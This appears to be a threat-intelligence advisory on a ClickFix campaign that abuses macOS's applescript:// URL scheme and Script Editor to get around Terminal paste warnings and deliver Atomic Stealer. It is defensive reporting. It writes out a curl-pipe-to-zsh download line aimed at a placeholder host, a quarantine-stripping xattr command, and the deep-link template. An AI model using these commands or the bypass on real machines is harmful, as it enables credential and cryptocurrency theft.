ClickFix macOS Script Editor Pivot — applescript:// Bypass of Tahoe Terminal Paste Warnings Delivers Atomic Stealer — Threadlinqs Intelligence
As of 2026-05-30, ClickFix macOS Script Editor Pivot — applescript:// Bypass of Tahoe Terminal Paste Warnings Delivers Atomic Stealer is a high-severity phishing threat attributed to ClickFix Operators (Russia), tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 20 indicators of compromise.
Threat ID: TL-2026-0348 · Severity: HIGH · Status: ACTIVE · Category: PHISHING
Attribution: ClickFix Operators · Russia · FINANCIAL
ClickFix social engineering campaigns have pivoted from Terminal.app to Script Editor on macOS, abusing the applescript:// URL scheme to auto-open a pre-filled AppleScript that executes `do shell
Overview
ClickFix is a social-engineering initial access technique that coerces victims into running attacker-supplied commands on their own machines, typically delivered through fake CAPTCHA pages, cracked software sites, SEO-poisoned search results, and malvertising. Historically on macOS, operators instructed victims to copy a 'fix' command and paste it into Terminal.app, where an obfuscated `curl | zsh` pipeline would download a second-stage infostealer (Atomic Stealer / AMOS being the most common payload).
In macOS Tahoe 26.4, Apple shipped a new anti-paste safeguard in Terminal.app that warns users when content is pasted into an interactive shell from an untrusted source, breaking the copy/paste execution flow that ClickFix operators relied on. Security researchers at Malwarebytes disclosed on April 10, 2026 that ClickFix crews have adapted by completely abandoning Terminal and instead invoking the `applescript://` URL scheme to auto-open Script Editor with a pre-filled 'maintenance' script. Script Editor does not implement Terminal's paste-warning prompts, and a single user click on the 'Run' triangle is sufficient to execute the attacker's payload.
Attack Chain
Stage 1 — Lure: The victim lands on an attacker-controlled page (often SEO-poisoned for queries such as 'how to reclaim disk space on mac', 'free up space macbook', 'mac running slow fix'). The page displays a fake Apple-branded dialog offering a one-click 'Apple Script' that claims to clean the Mac, followed by a spoofed 'Freed 24.7 GB' success animation designed to build trust.
Stage 2 — applescript:// Deep Link: The 'run' button triggers navigation to an `applescript://com.apple.scripteditor?action=new&script=<URL-encoded AppleScript>` URL. Safari (and most other macOS browsers) honor the scheme and hand the URL to LaunchServices, which in turn opens Script Editor with the attacker's script pre-populated in a new window. No download prompt is shown.
Stage 3 — AppleScript Execution: The pre-filled AppleScript body is cosmetically a maintenance routine but contains a `do shell script "curl -kSsfL https://<stage2-host>/<path> | zsh"` line. When the user clicks Run (or presses Command-R), Script Editor spawns `/bin/sh -c` under the user's context with full clipboard, keychain, and file-system access.
Stage 4 — Multi-Stage Downloader: The fetched stage-2 script is a base64-encoded zsh loader. It decodes and executes a stage-3 script named `helper` which performs host fingerprinting, disables Gatekeeper quarantine attributes via `xattr -d com.apple.quarantine`, and downloads the final Atomic Stealer Mach-O binary from a short-lived CDN endpoint.
Stage 5 — Atomic Stealer (AMOS): The final payload is an AMOS variant. It enumerates and exfiltrates: Safari/Chrome/Firefox/Brave/Edge cookies and saved passwords, macOS Keychain items (prompting the user with a cloned system password dialog via osascript if the keychain is locked), cryptocurrency wallet files (Exodus, Electrum, Atomic Wallet, Ledger Live, Coinomi, Trust Wallet, MetaMask browser extension storage), Telegram `tdata`, Discord tokens, Notes database, and SSH keys. Stolen data is archived and POSTed to a hardcoded C2 over HTTPS.
Novel Defensive-Evasion Aspect
The central innovation is the OS-level pivot from Terminal to Script Editor. Apple's 26.4 Terminal paste warning was explicitly designed to break ClickFix; operators responded within days by switching execution hosts to a sibling Apple-signed utility that ships on every Mac and parses the `applescript://` URL scheme automatically. The technique also bypasses any heuristic that keyed on clipboard-to-Terminal telemetry, because no clipboard interaction occurs — the script body is embedded directly in the URL and materializes inside a trusted Apple application window.
Impact and Scope
ClickFix was responsible for more than 50% of observed malware-loader activity in 2025 according to Malwarebytes telemetry and is the dominant initial-access vector
Weaknesses (CWE)
CWE-1021, CWE-451, CWE-829, CWE-506
Target sectors: technology, financial, creative-media, cryptocurrency, consumer, education, legal
Target regions: North America, Europe, Asia-Pacific, Global
Detections & IOCs
As of 2026-07-28, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 20 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
PHISHING, HIGH, threat intelligence, cybersecurity, T1583, T1608, T1608, T1566, T1189, T1204, T1204, T1059, T1059, T1559